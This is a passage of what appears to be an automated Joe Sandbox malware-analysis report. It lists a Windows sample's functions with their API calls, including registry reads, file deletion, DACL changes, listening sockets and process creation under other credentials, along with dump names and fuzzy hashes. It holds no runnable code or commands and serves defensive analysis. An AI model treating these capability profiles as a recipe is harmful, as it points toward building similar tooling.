RegQueryValueExW.ADVAPI32 ref: 00007FF7978D0860
RegQueryValueExW.ADVAPI32 ref: 00007FF7978D0907
RegQueryValueExW.ADVAPI32 ref: 00007FF7978D0961
RegQueryValueExW.ADVAPI32 ref: 00007FF7978D0A12
RegCloseKey.ADVAPI32 ref: 00007FF7978D0A9E
RegCloseKey.ADVAPI32 ref: 00007FF7978D0AAD

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: QueryValue$Close$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3218304859-0
Opcode ID: 09c3fed73910027fa3b0afc734d155082cf1a3e3b474a6a11520eee8132cf2aa
Instruction ID: 8fd941edbc1556a3868ea0122182ae45a7b82883eeca16b6571627ec7778eebd
Opcode Fuzzy Hash: 09c3fed73910027fa3b0afc734d155082cf1a3e3b474a6a11520eee8132cf2aa
Instruction Fuzzy Hash: 75F17032B15A4286EB20EF76D490ABCBB60FB84BD8B858131DE4D47B95DF38D022C754

Function 00007FF7978B83D4 Relevance: 16.8, APIs: 11, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7978B8452
SHGetSpecialFolderLocation.SHELL32 ref: 00007FF7978B84FC
SHGetDesktopFolder.SHELL32 ref: 00007FF7978B8516
CoCreateInstance.OLE32 ref: 00007FF7978B858F
SHCreateShellItem.SHELL32 ref: 00007FF7978B8629
CoTaskMemFree.OLE32 ref: 00007FF7978B8699
SHBrowseForFolderW.SHELL32 ref: 00007FF7978B872A
SHGetPathFromIDListW.SHELL32 ref: 00007FF7978B874B
CoTaskMemFree.OLE32 ref: 00007FF7978B8754
CoTaskMemFree.OLE32 ref: 00007FF7978B8799
CoUninitialize.OLE32 ref: 00007FF7978B879F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 8a837895ffe9a100d7aefc3d06cde3847c66688097cc961de40736a6c7541cdd
Instruction ID: c5c7b0a5858220408b1e9cd64bba803187cc0996b762d7132ef2e888ba462da0
Opcode Fuzzy Hash: 8a837895ffe9a100d7aefc3d06cde3847c66688097cc961de40736a6c7541cdd
Instruction Fuzzy Hash: 54C15A76B04B4185EB20EF3AE8846ADABA0FB88BD4F854036DE4E47725DF38D456C750

Function 00007FF79789C858 Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79789CD34: GetUserObjectSecurity.USER32 ref: 00007FF79789CD65
Part of subcall function 00007FF79789CD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF79789C65A), ref: 00007FF79789CD71
Part of subcall function 00007FF79789CD34: GetUserObjectSecurity.USER32 ref: 00007FF79789CD9C

Part of subcall function 00007FF79789CE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF79789C66F), ref: 00007FF79789CE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF79789C8E7
GetAclInformation.ADVAPI32 ref: 00007FF79789C921
GetLengthSid.ADVAPI32 ref: 00007FF79789C932
GetAce.ADVAPI32 ref: 00007FF79789C970
AddAce.ADVAPI32 ref: 00007FF79789C997
GetLengthSid.ADVAPI32 ref: 00007FF79789C9AF
GetLengthSid.ADVAPI32 ref: 00007FF79789C9D2
CopySid.ADVAPI32 ref: 00007FF79789C9E1
AddAce.ADVAPI32 ref: 00007FF79789CA27
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF79789CA4B
SetUserObjectSecurity.USER32 ref: 00007FF79789CA60

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction ID: 8242be3fdcf917ab0f6ce36653826a442960a7d3e88736b889b7c9f78e5efaf8
Opcode Fuzzy Hash: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction Fuzzy Hash: DB619022B046518AEB20EF72D8489AD7BB4FF44BC8B844435DE4E53794DF39E956C360

Function 00007FF7978DA59C Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7978DA650
SendMessageW.USER32 ref: 00007FF7978DA664
GetWindowLongW.USER32 ref: 00007FF7978DA697
SendMessageW.USER32 ref: 00007FF7978DA6C1
SendMessageW.USER32 ref: 00007FF7978DA752
SendMessageW.USER32 ref: 00007FF7978DA7A6
SendMessageW.USER32 ref: 00007FF7978DA7CD
SendMessageW.USER32 ref: 00007FF7978DA7F1
SendMessageW.USER32 ref: 00007FF7978DA80E
SendMessageW.USER32 ref: 00007FF7978DA832

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: b613241afe3ad8578923ea3e9f1846ed3b3a73b4f0a87d0067d7f4c10d8347cf
Instruction ID: 652e31258b39363a6870e6a02d19690edd49ef07001f850598f277c5833a7bf4
Opcode Fuzzy Hash: b613241afe3ad8578923ea3e9f1846ed3b3a73b4f0a87d0067d7f4c10d8347cf
Instruction Fuzzy Hash: 39718E36605A8285E720EF65D884AEDAB60FB88BD4F904032DE5D47BA4CF3CD597C710

Function 00007FF7978AB7C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978356D4: GetFullPathNameW.KERNEL32(?,00007FF7978356C1,?,00007FF797837A0C,?,?,?,00007FF79783109E), ref: 00007FF7978356FF

Part of subcall function 00007FF7978ACED4: GetFileAttributesW.KERNEL32 ref: 00007FF7978ACED8

FindFirstFileW.KERNEL32 ref: 00007FF7978AB8AC
DeleteFileW.KERNEL32 ref: 00007FF7978AB987
MoveFileW.KERNEL32 ref: 00007FF7978AB9A7
DeleteFileW.KERNEL32 ref: 00007FF7978AB9CA
FindNextFileW.KERNEL32 ref: 00007FF7978AB9FC
FindClose.KERNEL32 ref: 00007FF7978ABA15

Part of subcall function 00007FF7978ABA80: CopyFileExW.KERNEL32 ref: 00007FF7978ABAA7

Strings

\*.*, xrefs: 00007FF7978AB849, 00007FF7978AB867

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4047182710-1173974218
Opcode ID: 8afc811527fb99e201d68577d1b03bd085c91ade47ff6067ade4f5a0ec4c1327
Instruction ID: 57e786e727ece0ce783f317be0f162925d4574641f9bc2da0efd774a348dbadc
Opcode Fuzzy Hash: 8afc811527fb99e201d68577d1b03bd085c91ade47ff6067ade4f5a0ec4c1327
Instruction Fuzzy Hash: EF817422A0864295EB20FB75E4419EDAF64EF943D4FC40032EA4E475A9EF7CD557C720

Function 00007FF797872650 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF797872673

Part of subcall function 00007FF797871C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797871C54

_get_daylight.LIBCMT ref: 00007FF797872684

Part of subcall function 00007FF797871BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797871BF4

_get_daylight.LIBCMT ref: 00007FF797872695

Part of subcall function 00007FF797871C10: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797871C24

Part of subcall function 00007FF79786B3C0: RtlFreeHeap.NTDLL ref: 00007FF79786B3D6
Part of subcall function 00007FF79786B3C0: GetLastError.KERNEL32 ref: 00007FF79786B3E8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7978728F5), ref: 00007FF7978726BC
WideCharToMultiByte.KERNEL32 ref: 00007FF797872752
WideCharToMultiByte.KERNEL32 ref: 00007FF79787279E

Strings

?, xrefs: 00007FF797872791

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
String ID: ?
API String ID: 500310315-1684325040
Opcode ID: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction ID: fae8d30a5c3557d354b6f3c68a6c3cbce29c5cb5da29ac22eabe04c2a350d7df
Opcode Fuzzy Hash: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction Fuzzy Hash: 66617132A096528AE730EF31D940979BBA5EF847D4FD40135E94E4AB94DF3CE4A2C760

Function 00007FF7978C3940 Relevance: 12.1, APIs: 8, Instructions: 116networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF7978C39DA
WSAGetLastError.WSOCK32 ref: 00007FF7978C39EC
bind.WSOCK32 ref: 00007FF7978C3A3A
WSAGetLastError.WSOCK32 ref: 00007FF7978C3A44
closesocket.WSOCK32 ref: 00007FF7978C3A70
listen.WSOCK32 ref: 00007FF7978C3A7E
WSAGetLastError.WSOCK32 ref: 00007FF7978C3A94
closesocket.WSOCK32 ref: 00007FF7978C3AC0

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction ID: b4cb5c1ac408bdb18df92459a788ffb3e5a889d014b255105c5d73b29f3e8c0b
Opcode Fuzzy Hash: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction Fuzzy Hash: 88418061B0865286EB20FF3A944167CAB60FF85BE0F884530DA5E47B92CF7CD1678754

Function 00007FF7978C8360 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00007FF7978C83EA
NULL Pointer assignment, xrefs: 00007FF7978C8831

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 61f0d80c1719e9fabf86412dc02edfd1a0dcbac5588a2bff5cf71fb0c458328a
Instruction ID: 33d82933180e2cf8aa09149fb72e88cb233690a20ef217872cb5a05c25367115
Opcode Fuzzy Hash: 61f0d80c1719e9fabf86412dc02edfd1a0dcbac5588a2bff5cf71fb0c458328a
Instruction Fuzzy Hash: 8CE1C436A08B829AEB20EF35D4406ADBBA0FB84798F844136DE4D47B54DF3CE556C714

Function 00007FF7978ABC70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978356D4: GetFullPathNameW.KERNEL32(?,00007FF7978356C1,?,00007FF797837A0C,?,?,?,00007FF79783109E), ref: 00007FF7978356FF

Part of subcall function 00007FF7978ACED4: GetFileAttributesW.KERNEL32 ref: 00007FF7978ACED8

FindFirstFileW.KERNEL32 ref: 00007FF7978ABD09
DeleteFileW.KERNEL32 ref: 00007FF7978ABD5B
FindNextFileW.KERNEL32 ref: 00007FF7978ABD6D
FindClose.KERNEL32 ref: 00007FF7978ABD7F
FindClose.KERNEL32 ref: 00007FF7978ABD8A

Strings

\*.*, xrefs: 00007FF7978ABCD3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: eac801da271dad5c3dedbffc09f324b1d2ee4d57e9dbd9d9ebf402661b424a02
Instruction ID: af757919c5d5901a18b34229b719558f9cfac1a847b7d4cbbffe7c1a4d0783bc
Opcode Fuzzy Hash: eac801da271dad5c3dedbffc09f324b1d2ee4d57e9dbd9d9ebf402661b424a02
Instruction Fuzzy Hash: C341B322A28A4292EA60FB34E8449EDEB64FF907D4FD01131EA5E07695EF7CD517C720

Function 00007FF79786AF58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF79786AFD1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF79786AFE9
RtlVirtualUnwind.KERNEL32 ref: 00007FF79786B024
IsDebuggerPresent.KERNEL32 ref: 00007FF79786B05D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF79786B067
UnhandledExceptionFilter.KERNEL32 ref: 00007FF79786B072

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction ID: d591049bbf6a0de5dec3c69abe4df4e41e1bd0fa1d60e7c3963628792830aa7c
Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction Fuzzy Hash: 27316336608F8196DB70EF35E8406AEBBA4FB84794F900135EA9D47B58EF3CC5568B10

Function 00007FF79789D2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79789D2AB), ref: 00007FF79789D31F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF79789D2AB), ref: 00007FF79789D335
CreateEnvironmentBlock.USERENV(?,?,?,?,?,?,?,?,?,?,?,00007FF79789D2AB), ref: 00007FF79789D34E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79789D2AB), ref: 00007FF79789D35E
CreateProcessWithLogonW.ADVAPI32 ref: 00007FF79789D3CA
DestroyEnvironmentBlock.USERENV ref: 00007FF79789D3E3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction ID: b397b53b92e11bed43909ee18285af46240ffce097a9ce184393798dfc0abf92
Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction Fuzzy Hash: EF316E32608B8586D770AF12E880BAAB7A4FB84BD0F544136DE8D43B14DF7DD456CB10

Function 00007FF79789D868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF79789D877
UnloadUserProfile.USERENV ref: 00007FF79789D885
CloseHandle.KERNEL32 ref: 00007FF79789D88F
CloseHandle.KERNEL32 ref: 00007FF79789D898
GetProcessHeap.KERNEL32 ref: 00007FF79789D89E
HeapFree.KERNEL32 ref: 00007FF79789D8AC

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction ID: 565d44f5352a8000a1bd85ebf20b34663bc574a64ee98d7639f7c3883c0df0b8
Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction Fuzzy Hash: 81F0C025A14A01C2EB14FF76DC54429A761FF88FE5B445131CD1E86378CF3CD5A68310

Function 00007FF7978BA874 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118filesleepCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7978BA8F4
FindClose.KERNEL32 ref: 00007FF7978BAA15

Part of subcall function 00007FF7978B3824: GetInputState.USER32 ref: 00007FF7978B3889
Part of subcall function 00007FF7978B3824: PeekMessageW.USER32 ref: 00007FF7978B3938

Sleep.KERNEL32 ref: 00007FF7978BA939
FindNextFileW.KERNEL32 ref: 00007FF7978BAA00

Strings

*.*, xrefs: 00007FF7978BA8B3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
String ID: *.*
API String ID: 1927845040-438819550
Opcode ID: 94797e606ec46fa28a18436180ec63c0a6e339a333463912d785a686920f47f8
Instruction ID: aed391a37ecbd9fbf7198dd91bb5f98de154625f2933bd219108a50c7ba0134f
Opcode Fuzzy Hash: 94797e606ec46fa28a18436180ec63c0a6e339a333463912d785a686920f47f8
Instruction Fuzzy Hash: 5F51D132608A82A5EB20EB35E8516ADBB70FB457D4F900132DE5D03795DF3CE96AC720

Function 00007FF79783BE70 Relevance: 8.6, Strings: 6, Instructions: 1141COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF79787F6FD
ERCP, xrefs: 00007FF79783BF69
PCRE, xrefs: 00007FF79787F4B1
VUUU, xrefs: 00007FF79783C25F
VUUU, xrefs: 00007FF79783C210
VUUU, xrefs: 00007FF79783C21F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: ERCP$PCRE$VUUU$VUUU$VUUU$VUUU
API String ID: 0-2187161917
Opcode ID: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction ID: 655d2a55966b0f7c46bcb32e0dd19e85ce82377655b1a6387296ea3b9abcfaba
Opcode Fuzzy Hash: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction Fuzzy Hash: C0B2B672A0869186E7749F399444ABCBBA1FB447D8F904135DA4E5BBC4DF3CE8A38710

Function 00007FF7978C4074 Relevance: 7.6, APIs: 5, Instructions: 148networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978C5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF7978C37FB), ref: 00007FF7978C5E4D

socket.WSOCK32 ref: 00007FF7978C40FC
WSAGetLastError.WSOCK32 ref: 00007FF7978C412D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction ID: 9bf0a1cdb7d4a8604b696806e2fb90212b1b6b24c8afd89e7dd14bc8ca875549
Opcode Fuzzy Hash: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction Fuzzy Hash: AA51D321B0875285EB20FB369405A7DAF90BF89FE4F848131DE5D07796CE7CD11287A0

Function 00007FF7978B5F2C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 300comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978356D4: GetFullPathNameW.KERNEL32(?,00007FF7978356C1,?,00007FF797837A0C,?,?,?,00007FF79783109E), ref: 00007FF7978356FF

CoInitialize.OLE32 ref: 00007FF7978B60A2
CoCreateInstance.OLE32 ref: 00007FF7978B60C5
